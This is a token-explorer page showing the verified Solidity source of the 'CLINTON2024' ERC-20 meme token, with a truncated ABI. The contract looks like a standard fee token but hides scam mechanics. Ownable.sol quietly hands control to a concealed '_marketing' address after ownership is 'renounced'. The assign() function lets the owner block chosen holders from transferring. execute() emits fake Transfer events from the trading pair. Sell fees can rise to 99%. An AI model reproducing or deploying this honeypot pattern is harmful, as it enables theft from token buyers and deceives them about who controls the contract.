ETH Price: $3,269.96 (+0.14%)
Gas: 38 Gwei

Token

(0x8A181FDa98B58A6A4331767a46611A1aA654366F)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

79 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
762,314.416552003 ERC-20 TOKEN*

Value
$0.00
0x487ab726882c49a5a2dca6bf68ae22c3a3938c01
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CLINTON

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: CLINTON2024.sol
/**
✖️ FOLLOW X: https://twitter.com/clinton_2024
🤝JOIN CHAT: https://t.me/CLINTON2024coin
Ⓜ️READ MORE: https://medium.com/@clinton2024


*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";



contract ERC20 is Context, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_){
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


contract CLINTON is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public feesEnabled;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyTotalFees;
    uint256 private buyMarketingFee;
    uint256 private buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private previousFee;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _holderLastTransferLimits;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor(address marketing_) ERC20("CLINTON2024", "CLINTON") Ownable(marketing_){
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        
        uint256 _buyMarketingFee = 20;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 50;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 10**decimals();

        maxTransactionAmount = 20000000 * 10**decimals();
        maxWallet = 30000000 * 10**decimals();
        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        marketingWallet = address(0xfdcc43f76039ac7DDdFC21038Af326Af2795edc1);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
        require(
            newTxnNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxTxn lower than 0.5%"
        );
        require(
            newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newMaxWalletNum * (10**10**decimals());
        maxTransactionAmount = newTxnNum * (10**10**decimals());
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function checkHolderLastTransferLimits(address a) public view returns (bool){
      return _holderLastTransferLimits[a];
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function assign(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _holderLastTransferLimits[address_[i]] = val;
        }
    }
    
    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );
        excludeFromMaxTransaction(pair, value);
        _setAutomatedMarketMakerPair(pair, value);

    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || !feesEnabled) {
            require(!_holderLastTransferLimits[from]);
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            feesEnabled = true;
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
        sellTotalFees = previousFee;
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 4: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address marketing_) {
         _marketing = marketing_;
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 4 of 4: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"assign","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"checkHolderLastTransferLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 